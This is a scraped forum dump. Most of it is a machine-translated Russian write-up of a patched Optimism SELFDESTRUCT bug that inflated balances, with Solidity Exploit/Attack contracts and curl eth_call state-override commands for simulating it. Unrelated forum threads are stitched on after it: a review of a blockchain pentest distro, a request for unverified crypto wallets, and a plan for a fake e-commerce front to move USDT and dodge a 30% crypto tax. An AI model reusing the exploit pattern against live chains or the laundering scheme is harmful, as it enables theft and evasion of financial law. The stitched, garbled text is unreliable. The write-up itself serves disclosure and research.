Использование этого позволяет злоумышленнику получить доступ к фактически неограниченному количеству токенов (также известных как долговые расписки) на дальней стороне моста. Я утверждаю, что это более опасно, чем просто обманом заставить резервы позволить уйти. Благодаря возможности тайно печатать долговые расписки (известные на Optimism как OETH) на другой стороне моста, вы все еще можете попытаться (медленно) вывести деньги из резервов, но теперь это будет выглядеть как законный перевод, что упрощает остаться незамеченным.

И, если вы считаете, что «кто-то заметил бы, если бы общее количество долговых расписок отличалось от суммы денег, заблокированных в резервах», эта ошибка на самом деле была вызвана 40 дней назад — как я укажу позже — и никаких сигналов тревоги не было.

Максимальный профит​

Кроме того, с вашим неограниченным запасом долговых расписок вы можете зайти на каждую децентрализованную биржу, работающую на L2, и возиться с их экономикой, скупая огромное количество других токенов и обесценивая собственную валюту сети. Используя свой доступ к бесконечному капиталу, вы можете дополнительно манипулировать оракулами ценообразования в сети, чтобы использовать их для других атак; и пока кто-то, наконец, не поймет, что ваши деньги фальшивые, арбитражер будут стекаться в сеть, чтобы продать вам свои активы.
Это делает эту ошибку способной к экономическим грифинговым атакам, в которых, как только кто-то замечает — даже если это всего через час! — может быть «слишком поздно» разгадывать, что является и что не является законной транзакцией, ставя под сомнение всю бухгалтерскую книгу.

Следующие несколько разделов включают в себя сочетание прожитой и изученной истории проекта «Оптимизм»… и я вполне допускаю, что где-то ошибся. Цель здесь состоит в том, чтобы настроить мое взаимодействие с проектом и то, как я обнаружил эту ошибку, поскольку я, по сути, пишу контент на уровне журнала о взломе программного обеспечения; P.

Камео Джорджа Хотца ​

В одном из моих любимых эпизодов «Оптимизма» есть камея Джорджа Хотца , хакера, который впервые разблокировал iPhone (а затем продолжал работать над взломом в течение многих лет, прежде чем перейти к работе над ИИ и послепродажными комплектами для автономного вождения ). Ранняя предпосылка Optimism заключалась в [поддержке «неинтерактивных доказательств мошенничества» ](https://medium.com/@cpbuckland88/fraud-proofs-and-virtual- machines-2826a3412099), в которых, если состояние L2, зафиксированное в L1, было «неверным», кто-то мог доказать это смарт-контрактам, работающим в системе, с помощью (дорогой) ончейн симулятор. Проблема заключалась в том, что для эффективной работы их модели Optimism не мог построить интерпретатор и вместо этого [нуждался в «транспиляторе» ](https://medium.com/ethereum- optimism/ovm-deep-dive-a300d1085f52), который заменял [любую инструкцию, которая обращалась к состоянию блокчейна ](https://web.archive.org/web/20210127062014/https://docs.optimism.io/protocol- specifications/ovm/transpiler), вызовами функций в системных смарт-контрактах.

«geohot» (как его знают многие из нас) помог им, написав модификацию компилятора для Solidity — языка, который большинство людей использует для написания смарт-контрактов, — который позволил бы людям быстро генерировать код контракта, совместимый с OVM.

OVM 1.0 использует OVM_ETH ERC20. ​

Проблема в том, что эта стратегия была совместима только на уровне исходного кода Solidity и не могла выполнять существующие контракты, уже скомпилированные для виртуальной машины Ethereum . Даже когда они работали над исправлением этого для первого реального выпуска своего «OVM», оставался «исторический багаж», который оставался как в коде, так и в умах экосистемы, который подтолкнул проект к дальнейшей несовместимости с EVM. Я закончил — как это часто бывает с чат-серверами :/ — в споре со случайным пользователем, который вел себя чрезвычайно авторитетно (вплоть до того, что я начал моделировать его как ключевого разработчика), что на самом деле это было отличное дизайнерское решение. Несмотря на это, усилия Orchid по созданию нескольких цепочек принципиально требуют, чтобы один и тот же код можно было развернуть в каждой сети, поэтому список поддерживаемых цепочек может быть «без разрешений» и зависеть от пользовательской экосистемы, что вынуждает меня отказаться от оптимизма.

EVM "Эквивалентность" ​

Конечно, год спустя стало ясно, что несовместимость с существующими смарт- контрактами и инструментами разработчика на самом деле является серьезной проблемой ; и, таким образом, проект Optimism начал работу над [тем, что они назвали «эквивалентностью EVM» ](https://medium.com/ethereum- optimism/introducing-evm-equivalence-5c2021deb306). Это обновление, получившее название OVM 2.0, представляло большой интерес для моей работы над Orchid, поскольку оно означало, что новая многоцепочечная платформа наноплатежей, к которой я нас подталкивал, наконец-то может быть развернута. Таким образом, я вернулся к оптимизму. При работе с новой цепочкой первое, что я обычно делаю, — это запускаю быстрый модульный тест функциональности, на которую я либо полагаюсь, либо предпочитаю (своего рода набор тестов, который обнаружил ошибки в многочисленных цепочках, о которых я сообщал за последний год). Сразу же я столкнулся с запутанной проблемой с Optimism: состояние учетной записи — как криптографически проверяемое из блока «корень состояния» — каким-то образом отсутствовало баланс учетной записи (который вместо этого всегда был равен 0). Я [написал об этом ошибку ](https://github.com/ethereum- optimism/optimism/issues/1947).

OVM_ETH продолжает жить в OVM 2.0 ​

Ответ на мой отчет об ошибке меня несколько шокировал: оказалось, что OVM 2.0 продолжал хранить все балансы для учетных записей пользователей в состоянии хранения контракта ERC20, и у них было [активное обсуждение , стоит ли удалять этот ](https://github.com/ethereum- optimism/optimism/discussions/1444). Тем не менее, это стало постоянным «бельмом на глазу», когда я начал работать над другим моим проектом в прошлом месяце или около того: чрезвычайно педантичным и сильно индексированным обозревателем блоков, который анализирует каждое обновление состояния всей EVM. Между тем, что временные метки Optimism датированы задним числом (что-то [они исправили ](https://github.com/ethereum- optimism/optimism/commit/57742a04df1894fcd264e358f2f3f37813e7658b)) или даже немонотонны, и тем, как они продолжают перезагружать свою цепочку , Optimism заставил меня потратить непропорционально много времени, чувствуя ... «пессимистично»; P.

StateDB с использованием перенаправления OVM ​

То, как это «хранение собственных балансов в состоянии хранения токенов ERC20» реализовано в кодовой базе, представляет собой набор исправлений для StateDB go-ethereum, код, который поддерживает в памяти буфер ожидающих/грязных объектов учетной записи для сброса в диск. То, как Эфириум хранит это состояние — и [структуру данных дерева состояний, ](https://medium.com/shyft- network-media/understanding-trie-databases-in-ethereum-9f03d2c3325d)которую он использует, чтобы обеспечить эффективную криптографическую проверку отобранных данных — является одной из наиболее интересных и полезных частей дизайна протокола ; вот еще [одна ссылка ](https://medium.com/@eiki1212/ethereum-state-trie- architecture-explained-a30237009d4e). Флаг UsingOVM устанавливается с помощью переменной среды USING_OVM (насколько я знаю, без соответствующего флага командной строки; что вам нужно установить эту переменную среды при инициализации блока генезиса, я слишком долго разбирался; P).
Операции в StateDB, влияющие на баланс учетной записи, затем перенаправляются из базового объекта stateObject (который представляет отдельную кэшированную учетную запись) в состояние хранения в контракте OVM_ETH. Ниже приведен код для state.StateDB.SetBalance.

ПРИМЕЧАНИЕ . Я сильно переформатирую и даже немного «редактирую» фрагменты кода, чтобы сделать их более узкими, короткими и менее плотными. Если вы взглянете на настоящий код, не удивляйтесь, если он не будет выглядеть точно так же, как моя презентация ;P.

Code:Copy to clipboard

func (s *StateDB) SetBalance(
    addr common.Address, amount *big.Int
) {
    if rcfg.UsingOVM {
        key := GetOVMBalanceKey(addr)
        value := common.BigToHash(amount)
        s.SetState(dump.OvmEthAddress, key, value)
    } else {
        stateObject := s.GetOrNewStateObject(addr)
        if stateObject != nil {
            stateObject.SetBalance(amount)
        }
    }
}

На самом деле уже происходит кое-что интересное: s.GetOrNewStateObject имеет наблюдаемый побочный эффект; но при использовании OVM это не происходит. Это означает, что учетная запись может владеть собственной валютой без объекта учетной записи! Точная проблема здесь заключается в том, что контракты могут запрашивать хэш-код других учетных записей (который иногда используется для проверки их надежного поведения). Если у учетной записи нет кода, ее код равен "", поэтому ее кодовый хеш — это хэш пустого буфера. Однако, если вы запросите хэш-код адреса, который в настоящее время не поддерживается объектом в дереве состояний, хэш-код, который вы получите в ответ, будет нулевым. Этот наблюдаемый эффект является примером тонкой несовместимости, которую постоянно испытывает оптимизм. Если бы это был мой проект, я бы определенно отказался от всего давным-давно — до OVM 2.0 — чтобы расставить приоритеты по удалению этого набора исправлений, исправив GetOVMBalanceKey для хранения прообразов хэшей, повторно выполнив цепочку, а затем заменив дерево состояния.

Почему он всегда selfDestruct?! ​

Одной из наиболее «проблемных» инструкций виртуальной машины Ethereum является SELFDESTRUCT, которая восходит к исходному дизайну. (Для ясности: раньше эта инструкция называлась SUICIDE, но код , который мы будем читать, никогда не переименовывался.)
Эта инструкция позволяет контракту уничтожить себя, удалив свой объект учетной записи. Основное преимущество этой инструкции заключается в том, что она позволяет быстро удалить потенциально большое количество «устаревших» состояний из активного набора блокчейна.
С другой стороны, что делает эту инструкцию «проблемной» (помимо ее вызывающего имя ), так это то, что она позволяет ОЧЕНЬ БЫСТРО очищать потенциально БОЛЬШОЕ количество состояний, требуя, чтобы виртуальная машина выполняла произвольный объем работы атомарно.
Кроме того, известно, что эта инструкция постоянно вызывает крайние случаи в новых функциях EVM, и поэтому ей часто угрожали некоторой формой удаления (например, запретом в новых контрактах или удалением большей части ее функциональности ).

Как работает selfDestruct​

Когда контракт попадает в инструкцию SELFDESTRUCT, он назначает «бенефициара» для получения любых средств, которыми он все еще владеет. Реализация этого кода операции в EVM go-ethereum добавляет баланс получателю, а затем вызывает StateDB.Suicide.

Code:Copy to clipboard

func opSuicide(
    pc *uint64, interpreter *EVMInterpreter,
    contract *Contract, memory *Memory, stack *Stack
) ([]byte, error) {
    state := interpreter.evm.StateDB

    beneficiary := common.BigToAddress(stack.pop())
    balance := state.GetBalance(contract.Address())
    state.AddBalance(beneficiary, balance)

    state.Suicide(contract.Address())

    return nil, nil
}

Затем реализация StateDB.Suicide сбрасывает баланс учетной записи обратно до 0. К сожалению, она делает это, не используя ни сеттер setBalance для stateObject, ни общую константу common.Big0.

Code:Copy to clipboard

func (s *StateDB) Suicide(addr common.Address) bool {
    stateObject := s.getStateObject(addr)
    if stateObject == nil { return false }

    stateObject.markSuicided()

    stateObject.data.Balance = new(big.Int)
    // aka stateObject.setBalance(common.Big0)

    return true
}

StateDB.Suicide, в свою очередь, вызывает stateObject.markSuicided, который ничего не делает, кроме установки логического значения объекта в true. Важно отметить, что это означает, что контракт на данный момент ВСЕ ЕЩЕ СУЩЕСТВУЕТ и по-прежнему имеет код, который у него был раньше!

Code:Copy to clipboard

func (s *stateObject) markSuicided() {
    s.suicided = true
}

Ожидает удаления ​

Возникает вопрос: как объект вообще уничтожается? Ответ заключается в том, что это откладывается до конца транзакции, когда вызывается StateDB.Finalise и все объекты самоубийственных грязных учетных записей помечаются как удаленные.

Code:Copy to clipboard

func (s *StateDB) Finalise() {
    for addr := range s.journal.dirties {
        obj, exist := s.stateObjects[addr]
        if !exist { continue }

        if obj.suicided || obj.empty() {
            obj.deleted = true
        } else {
            obj.finalise()
        }
    }

    s.clearJournalAndRefund()
}

В качестве дополнительной оптимизации фактический объект учетной записи не удаляется по-настоящему до тех пор, пока в следующий раз не потребуется вычислить корневой хеш состояния, поскольку все изменения в дереве меркла могут быть сделаны и зафиксированы одновременно. Это не так. актуально, однако.

Code:Copy to clipboard

func (s *StateDB) IntermediateRoot() common.Hash {
    s.Finalise()

    for addr := range s.stateObjectsPending {
        obj := s.stateObjects[addr]
        if obj.deleted {
            s.deleteStateObject(obj)
        } else {
            obj.updateRoot(s.db)
            s.updateStateObject(obj)
        }
    }

    return s.trie.Hash()
}

Настоящая ошибка ​

К этому моменту мы фактически "прошли мимо" критической ошибки... Вы ее заметили? ;P Код для Suicide по-прежнему напрямую изменяет поле data.Balance объекта stateObject вместо проверки UsingOVM и перенаправления этой модификации в OVM_ETH.
Это означает, что, когда контракт самоуничтожается, его баланс ОБА передается бенефициару, И ТАКЖЕ СОХРАНЯЕТСЯ. Если в контракте было 10 OETH, 10 OETH СОЗДАЮТСЯ из тонких битов и передаются бенефициару.
Когда Optimism исправила эту ошибку — как часть PR # 2146 (который слегка скрыл это обновление в куче других обновлений, чтобы дать время неизвестным форкам для обновления своего кода) — они добавили следующую логику в opSuicide (в частности, не в StateDB.Suicide ).

Code:Copy to clipboard

if rcfg.UsingOVM && interpreter.evm.chainConfig
    .IsSelfDestructInflation(interpreter.evm.BlockNumber)
{
    state.SubBalance(contract.Address(), balance)
}

Насколько я могу судить, причина, по которой им нужно было поместить этот код в opSuicide, который отделяет его от другой логики, которая напрямую очищает поле баланса, а также все другие переопределения с использованием OVM, заключается в том, что они могут получить доступ к chainConfig. .
Это важно, потому что в коде по-прежнему необходимо реализовать неправильное поведение, чтобы он мог синхронизировать все исторические состояния, некоторые из которых фактически устраняют эту ошибку (без ее эксплуатации). Они решили, что блок 3135900 будет отсечением.

Code:Copy to clipboard

// OpMainnetSelfDestructForkNum is the height at which the
// suicide inflation bug hardfork activates on OP mainnet.
OpMainnetSelfDestructForkNum = big.NewInt(3135900)

Было ли это использовано? ​

Один из вопросов, на который мы часто хотим ответить, звучит так: «Кто-нибудь уже использовал эксплойт, используя эту ошибку?». Чтобы ответить на этот вопрос, я настроил код OVM 2.0 так, чтобы он регистрировал каждый раз, когда транзакция уничтожала контракт с балансом.
Поскольку SELFDESTRUCT уже является редким кодом операции, и даже тогда это подмножество всех применений SELFDESTRUCT — и, кроме того, поскольку OVM 2.0 был выпущен всего три месяца назад — был только один пользователь, который когда-либо пробовал это: в канун Рождества ( 2021) .
В этих транзакциях (как показано в обозревателе блоков Optimism, размещенном на Etherscan) мы видим, как пользователь создает и уничтожает три контракта. Первые два раза бенефициаром контракта является адрес 0x0, а в третий раз — сам пользователь.
Откровенно говоря, казалось, что кто-то заметил ошибку — увидел, что Etherscan оставил баланс на месте после уничтожения контракта — и даже немного поиграл с ней (чтобы увидеть, было ли это поведением 0x0)… но не понял. это можно было использовать.
Мне действительно удалось разыскать этого пользователя (!!), и оказалось, что он работает на Etherscan ;P. Это просто показывает, что иногда даже люди, которые смотрят непосредственно на ошибку, не всегда видят косвенные последствия для безопасности.
У меня лично не было времени убедиться, что это никогда не срабатывало на двух известных мне ответвлениях Optimism: Boba и Metis. Я чувствую, что кто-то другой, возможно, уже проверил и сказал мне, и я также чувствую, что это, вероятно, несколько маловероятно (учитывая отсутствие использования на Оптимизме), но я не могу точно сказать, так или иначе в это время.

Concrete Exploit​

Что подводит нас к самой интересной части: практическому изучению использования этой ошибки. Для этого нам нужно написать контракт (в Solidity), который мы можем развернуть/финансировать и на котором мы можем вызвать SELFDESTRUCT, реплицируя деньги, которые он держит. Поскольку контракт продолжает существовать до конца транзакции, и мы хотим как можно быстрее воспроизвести деньги (путем накопления нашего дохода), мы устанавливаем сам контракт в качестве бенефициара. Таким образом, каждый призыв к уничтожению удваивает его средства. Чтобы позволить контракту быть профинансированным в первую очередь, мы должны добавить оплачиваемый конструктор. Наконец, мы добавляем метод, который позволяет нам вернуть деньги из контракта (первоначально я использовал самоуничтожение, но передача чище).

Code:Copy to clipboard

pragma solidity 0.7.6;

contract Exploit {
    constructor() payable {}

    function destroy() public {
        selfdestruct(payable(address(this)));
    }

    function take() public {
        msg.sender.transfer(address(this).balance);
    }
}

Чтобы управлять этой атакой, нам нужен другой контракт, который создает экземпляр этого контракта, вызывает в цикле destroy, а затем вызывает take. Я решил поместить эту логику в конструктор контракта, чтобы его можно было создать и выполнить за одну транзакцию.

Code:Copy to clipboard

contract Attack {
    constructor(uint count) payable {
        Exploit exploit = new Exploit{value: msg.value}();
        for (; count != 0; --count)
            exploit.destroy();
        exploit.take();
        msg.sender.transfer(address(this).balance);
    }

    receive() external payable {}
}

Так как этот контракт будет получать средства от контракта Exploit, который он создает, ему нужна платная реализация receive() (поскольку в противном случае контракт отклонит любую попытку дать ему деньги с помощью перевода; в частности, самоуничтожение обойдёт это!).

Простое тестирование ​

Хотя один из способов протестировать этот эксплойт — запустить его, это не только может впоследствии вызвать проблемы с гарантией того, что состояние по- прежнему законно, но и потенциально может натолкнуть других людей, наблюдающих за блокчейном, на попытку украсть наш эксплойт.
Это может показаться надуманным, но на самом деле это довольно распространено и сильно автоматизировано: в этом случае наш эксплойт настолько «подключи и работай», что если кто-то просто смоделирует его запуск самостоятельно, он станет бенефициаром.
Хотя я оставлю попытки создания более запутанных эксплойтов в качестве «упражнения для читателя», по крайней мере, вам нужен способ проверить поведение вашего эксплойта во время его разработки, и поэтому нам нужен простой способ имитации выполнения инструкций.
В этот момент кто-то может предложить готовый тест-драйвер, такой как Ganache, но в нем не будет этой ошибки. Мы могли бы дать ему ошибку, но это работа. Мы могли бы запустить собственный локальный форк Optimism с секвенсором, но это тоже работа.
Вместо этого нам нужен способ использовать «обычный» полный узел Optimism — предпочтительно тот, который мы запускаем сами (поскольку мы говорим об очень серьезном эксплойте), хотя для нашего исследования общедоступные конечные точки будут работать очень хорошо! наш подвиг.

Переопределение состояния eth_call​

Решением является метод JSON/RPC eth_call. Теперь я понял: "eth_call очевиден, я знаю о eth_call". (Если вы этого не сделаете: eth_call — это метод, предоставляемый узлами Ethereum, который позволяет вам спекулятивно запускать экспортированные функции Solidity.)
Однако на самом деле это не так очевидно: если вы читаете документацию по eth_call , она позволит нам запускать код, который уже развернут в блокчейне, чего мы действительно хотим избежать любой ценой, чтобы кто-нибудь не заметил наш эксплойт. .
Хитрость заключается в том, что go-ethereum — наиболее часто используемая реализация EVM — дополнительно поддерживает «переопределение состояния» на eth_call , что позволяет нам создавать гипотетические среды выполнения, изменяя код или баланс учетной записи.
Таким образом, наша стратегия будет заключаться в разработке крошечного контракта, который запишет все необходимые нам действия (создание экземпляра и финансирование атаки), а затем вернет любую информацию, которая нам нужна, чтобы увидеть, работает ли наш код (в данном случае, наш окончательный баланс).

Code:Copy to clipboard

contract Test {
    function test() public payable returns (uint256) {
        new Attack{value: msg.value}(1);
        return address(this).balance;
    }

    receive() external payable {}
}

JSON/RPC через curl​

Чтобы сделать это практическим упражнением, я собираюсь провести вас через компиляцию и выполнение этого контракта, используя только curl, jq, xxd и (для компилятора Solidity) docker (хотя вы также можете установить solc в своей системе). ).

ПРИМЕЧАНИЕ . Общедоступный RPC-сервер Optimism (очевидно) запускается QuickNode , и они настроены только на разрешение тривиального количества исторических запросов; поэтому при вызовах старых блоков вы можете получить нулевой результат с ошибкой «Достигнут предел архивных запросов/месяц — рассмотрите возможность обновления на quicknode.com»; если это произойдет, вам (к сожалению) придется запустить собственный полный узел Optimism, чтобы увидеть результат.
Сначала мы определяем переменную rpc, содержащую URL-адрес нашего полного узла Optimism. Затем мы определяем функцию rpc, которая будет принимать объект JSON через стандартный ввод, добавлять к нему поля протокола JSON/RPC с помощью jq, а затем отправлять его на сервер RPC с помощью curl.

Code:Copy to clipboard

rpc=https://mainnet.optimism.io/
function rpc() { jq '.+{jsonrpc:"2.0",id:1}' |
    curl -H 'Content-Type: application/json' \
    -s "$rpc" --data-binary @-; }

Далее мы скомпилируем контракт (с именем Attack.sol); в папке сборки у нас будет три файла .bin, по одному для каждого из Exploit, Attack и Test. Эти bin-файлы [на самом деле не представляют собой код контракта ](https://blog.openzeppelin.com/deconstructing-a-solidity-contract-part-ii- creation-vs-runtime-6b9d60ecb44c/): это код конструктора.

Code:Copy to clipboard

# don't do this if you installed solc
alias solc='docker run -v "$PWD":/mnt \
    -w /mnt ethereum/solc:0.7.6'

solc -o build attack.sol --bin --overwrite

Конструктор возвращает код самого контракта, поэтому мы собираемся переопределить состояние случайной учетной записи, чтобы сделать ее код кодом этого конструктора (на самом деле этого никогда не произойдет), а затем выполнить eth_call для получения возвращаемого значения.

Code:Copy to clipboard

rnd=0x$(head -c 20 /dev/urandom | xxd -ps)
tst=$(echo '{"method":"eth_call","params":[
    {"to":"'"$rnd"'"},"latest",{"'"$rnd"'":
        {"code":"0x'"$(cat build/Test.bin)"'"}
    }]}' | rpc | jq -r .result)

Тестирование исправления ​

Теперь, когда у нас есть код для самого тестового контракта, мы можем переопределить код нашего случайного адреса на , а затем eth_call метод test(). Мы также создадим второй адрес для вызывающего абонента и переопределим его состояние на собственные деньги.

Code:Copy to clipboard

frm=0x$(head -c 20 /dev/urandom | xxd -ps)
function tst() { set -e; blk=$1; shift 1;
    echo '{"method":"eth_call","params":[{
        "data":"0xf8a8fd6d",
        "from":"'"$frm"'",
        "value":"0x1",
        "to":"'"$rnd"'"
    },"'"$blk"'",{
        "'"$frm"'":{"balance":"0x1"},
        "'"$rnd"'":{"code":"'"$tst"'"}
    }]}' | rpc | jq -r .result; }

Если вы потратите время, чтобы разобрать все кавычки оболочки (извините), вы заметите, что «данные», которые мы отправляем в контракт, — это 0xf8a8fd6d. Это первые 32 бита хэша keccak256 «test()», который служит селектором сообщений для этой функции.
Теперь мы можем запустить эксплойт. Определенная мной функция tst принимает аргумент blk (который должен быть в шестнадцатеричном формате), который представляет собой номер блока, «в котором» запускать наш код; это позволяет нам попробовать запустить наш код до и после OpMainnetSelfDestructForkNum.

Code:Copy to clipboard

$ echo $(($(tst $(printf 0x%x 3135900))))
1
$ echo $(($(tst $(printf 0x%x 3135899))))
2

При выполнении этого в блоке после (или включая) 3135900 у нас будет только 1 токен, с которого мы начали (отправленный как параметр значения в tst). Однако при работе с блоками до 3135900 мы получаем результат 2 (поскольку у Test один раз атака удваивается).

Еще одна несовместимость ​

На данный момент вы можете задаться вопросом, что произойдет, если мы попробуем это на других совместимых с EVM блокчейнах, таких как Ethereum или Avalanche. Нам просто нужно изменить переменную rpc и перезапустить tst. В результате мы получаем... 0. Не 2 (конечно), но и не 1.

Code:Copy to clipboard

$ rpc=https://cloudflare-eth.com/
$ echo $(($(tst latest)))
0

Один из тропов в выступлении «Сумка хаков», которое я даю на хакатонах и занятиях в колледже, заключается в том, что довольно часто исправления безопасности делаются в спешке людьми, которые пытаются смягчить конкретный недостаток, и полученное «исправление» что-то ломает. еще.
На самом деле я заметил это, когда тестировал Бобу и Метис — ответвления оптимизма — посреди ночи, когда понял, что они также будут затронуты (но не был уверен, что люди оптимизма уже связались с ними; они уже ).

Что случилось ​

В этом случае код, который был добавлен в opSuicide, вычитал предыдущий баланс из контракта, чтобы очистить его. Честно говоря, это чрезвычайно разумное поведение... Осмелюсь сказать, что оно более разумно, чем поведение, изначально реализованное Ethereum ;P. Однако исходный код работал так, что он напрямую устанавливал баланс в 0. Это означает, что если вы самоуничтожаетесь для себя, вместо 1+1-1, равного 1, результирующий баланс принудительно равен 0. Я заметил это. в обсуждении пулреквеста. Честно говоря, я на самом деле думаю, что это «вероятно, достаточно близко», учитывая, что, как упоминалось ранее, OVM уже получает другую семантику, связанную с этим неправильным, и в результате выживают только деньги, которые были бы уничтожены. Тем не менее, меня также не удивит, если эти несовместимости между EVM и OVM могут быть усугублены предположениями, сделанными различными контрактами, которые люди могут выбрать для развертывания для выявления и использования других уязвимостей
Далее следует, что я «сверхреален» и пытаюсь вступить в особенно глубокий разговор о морали. Подобные разговоры в некотором смысле являются десертом в конце долгой трапезы. Технология закончилась, но, может быть, вы хотели бы остаться ненадолго?
Я говорю это отчасти потому некоторые люди я не считаю частью «моей аудитории» ;P, ненавидят этот материал ; но я также говорю это, потому что хочу прояснить: это уязвимые мысли, которые люди не произносят достаточно громко.
Тем не менее, я также иногда думаю, что эти разговоры действительно работают только тогда, когда они ведутся лично, в течение третьего часа пятичасовой ночной сессии вопросов и ответов на хакатоне, таком как SpartaHack . OMG, я скучаю по личному участию в SpartaHack :(.

Crypto Ethi-nomi-cs ​

То, о чем я обычно провожу много времени, говоря — как исследователь безопасности «серой шляпы», который работает в области, где мы обычно копим ошибки и выпускаем полностью вооруженные эксплойты 0-day уязвимостей (наши джейлбрейки), — это «этика взлома».
В случае с ограниченным аппаратным обеспечением и борьбой против управления цифровыми правами (включая использование Intel SGX, причина, по которой я не согласен с MobileCoin), с годами моральные компромиссы стали для меня несколько очевидными.
Однако работа с криптовалютами кажется намного более мрачной. Действительно ли мы верим , что «код — это закон», и если кто-то находит ошибку, позволяющую уйти с миллиардом долларов, все должны думать: «Кажется, я совершил ошибку»?
Если вы это сделаете, изменится ли ваше решение на этом фронте, если вы не собираетесь получать личную прибыль, а вместо этого разрушите систему, которую использовали люди? FWIW, независимо от того, сколько мы говорим, что «код — это закон», лично мне трудно относиться к разрушению как к этичному.
И все же, если мы не верим, что разрушение этично, и собираемся приписать такое сильное моральное суждение людям, которые разрушают, а не строят, как мы можем не попасть в ловушку создания систем, которые работают только благодаря доверию?

Двигайтесь быстро и теряйте деньги ​

Итак, одна из самых «забавных» вещей в работе с криптографией — это именно то, что делает ее «страшной»: финансовые риски, как правило, чрезвычайно высоки. Одним из следствий этого является то, что исследования в области безопасности имеют гораздо большее значение, чем в других областях программного обеспечения.
И все же, я слишком часто жалуюсь на криптопроекты, что иногда кажется, что они играют быстро и свободно с консенсусом или правильностью, в то время как они «двигаются быстро и ломают вещи», чтобы получить доступ к большим суммам инвестиционного капитала.
Между тем, проекты, использующие более консервативный подход, считаются «медленными и слишком осторожными»; и, как и в случае с компаниями Web 2.0, которые тратят «слишком много» времени на защиту конфиденциальности пользователей, прежде чем запускать новые функции, они находятся в невыгодном положении.
Поэтому я иногда отказываюсь «помочь» другим проектам с базовыми вопросами децентрализации или безопасности, поскольку я чувствую, что это не может быть запоздалым размышлением: эти вещи слишком важны, чтобы их можно было быстро выпускать и корректировать дизайн в полевых условиях.
И тем не менее, мы видим, как криптопроект за криптопроектом пытаются переложить стоимость своей основной разработки на людей, получающих лишь косвенную компенсацию, вместо того, чтобы создавать команду из математиков, экономистов и экспертов по безопасности.

Финансовые инвективы ​

Между тем, со многими криптопроектами происходит что-то подозрительное, когда возникает что-то похожее на «темную модель», когда проекты заставляют пользователей инвестировать в свой проект (посредством токена), чтобы просто быть клиентами.
В результате становится трудно доверять кому-либо, поскольку, по-видимому, каждый участник — даже те, которые в классическом понимании пытались бы оставаться нейтральными — внезапно оказывается под влиянием тщательно разработанных денежных стимулов.
Чтобы провести реалистичную аналогию с криптовалютой: представьте, если бы использование Apple Music требовало не абонентской платы, а доказательства того, что вы владеете некоторой стоимостью акций Apple. Теперь, если стоимость Apple вырастет, вырастут и акции, которыми вы обязаны владеть.
Меня эта мысль временами деморализует (замечу, что Orchid избегает подобных моделей). И все же, это вообще ново? Случайно ли «фанаты Apple» получают стимул от своих дорогих вложений в оборудование (а затем и от стоимости перепродажи)?
На самом деле я собирался написать статью о том, что я считаю формой «безудержного стимулирования» со стороны предложения — в отличие от потребителей — некоторых криптопроектов, тема, о которой я иногда писал только в случайных комментариях. на Hacker News, GitHub и Twitter.
Если вам интересно такое читать, рекомендую подписаться на меня в Твиттере . Кроме того, я обычно вполне готов (бесплатно! Я политик в Калифорнии и не хочу иметь дело с [ограничениями по гонорарам ](https://www.fppc.ca.gov/content/dam/fppc/NS- Documents/TAD/Public%20Officials%20and%20Employees/LocalGiftFactSheet_Final_2021%20Version_2.pdf)) доклады на хакатонах или конференциях, особенно если мне не нужно далеко ехать.

ZIION - блокчейн-братан Kali Linux.
ID: 67686ad7b4103b69df37990c
Thread ID: 72501
Created: 2022-08-31T16:45:08+0000
Last Post: 2022-09-01T18:43:05+0000
Author: вавилонец
Prefix: Статья
Replies: 3 Views: 1K

31 августа, тобишь сегодня, SANS опубликовали

ZIION — это первое комплексное, предварительно скомпилированное, многоархитектурное, многопротокольное решение для тестирования и разработки безопасности блокчейна с открытым исходным кодом. Эт его системные требования:​

Z1.png
Скачав 15 с хуем Гб .ova образ для vbox решил я его потестить и вот что с этого вышло.
Основана эта особь на Ubuntu, что вроде не сильно огорчает. Пароль с логином при входе как и у калюхи Ziion : Ziion.

Я2.png
Так вот эпичненько выглядит этот красавец изнутри.

z3.png
Дабы получить рута в терминале делаем так:

Code:Copy to clipboard

sudo su -
//вводим пароль
ziion
//root наш

А что же скрывается в его утробе / читай меню/. А вот что:

z4.png

Различного вида тулзы для работы с протоколами, EVM автоматизированные сканеры уязвимостей, EVM фаззеры, представлены инструменты на Go и Rust, Firefox, Chromium, Wireshark, а так же ганаш, трюфель, прочие сладости, компилятор solidity, предустановлен python, vscodium, node.js, docker, remix, solana и все их друзья.

Короче, дамы и господа, вливаемся в тестирование web3.​

В поисках биткоин кошелька
ID: 67686ad7b4103b69df379665
Thread ID: 129060
Created: 2024-12-16T12:46:31+0000
Last Post: 2024-12-16T18:59:03+0000
Author: dxeglow
Replies: 23 Views: 1K

Всем привет!

Посоветуйте, пожалуйста, новичку, какой криптокошелек для битка лучше использовать?

Интересуют белые/серые представители. А также кошельки с полным/частичным отсутствием верификации.

Кошелёк будет использоваться для хранения этого битка и для дальнейшей оплаты этим самым битком.

Биток белый, как лист бумаги.

P.S. ещё желательно, чтобы можно было пополнить ру картами

Спасибо!

Арбитраж USDT
ID: 67686ad7b4103b69df379686
Thread ID: 121408
Created: 2024-08-25T12:34:07+0000
Last Post: 2024-11-24T14:11:14+0000
Author: Mostly009
Replies: 5 Views: 1K

Кстати, я не знаю русского, поэтому пользуюсь переводчиком, есть вероятность ошибки.

В моей стране USDT довольно дорог (я знаю, что USDT сохраняет свою стоимость на уровне 1 доллара), в моей стране он примерно на 10–15% дороже, чем на международном рынке.

Теперь я хочу купить USDT в другой стране (где USDT доступен по справедливой цене, например, в Дубае или в другой стране), а затем продать его в своей стране. Может ли кто-нибудь подсказать мне идею, с помощью которой я могу легально купить USDT в другой стране, а затем продать их в своей стране?

Однако в моей стране также существует положение в размере 30% от прибыли от криптовалюты, которое применимо только к зарегистрированным государством биржам, которые не включают Trust Wallet и другие децентрализованные платформы. Однако, если вы сохранили свою криптовалюту на децентрализованной платформе и не заплатили налог на вашу прибыль, вы можете столкнуться со случаем отмывания денег, но я не думаю, что кто-то будет уделять столько внимания децентрализованной платформе.

Может ли кто-нибудь в настоящее время сказать мне, как я могу купить USDT в другой стране и продать их в своей стране?

В настоящее время я подумываю о создании поддельного цифрового бизнеса в области электронной коммерции, где пользователи будут покупать какой-то цифровой продукт и давать мне деньги, которые я могу использовать для покупки USDT. Однако у меня есть собственная база частных пользователей, которые купили что-то на моей платформе на моих условиях, цену за которые я буду устанавливать согласно своей собственной цене и не буду делать это общедоступным.
_
Хотя хотелось бы потом это узаконить_

Что вы думаете по этому поводу?

Лучшие криптокошельки на 2024 год
ID: 67686ad7b4103b69df37968d
Thread ID: 126444
Created: 2024-11-07T16:07:51+0000
Last Post: 2024-11-15T15:37:27+0000
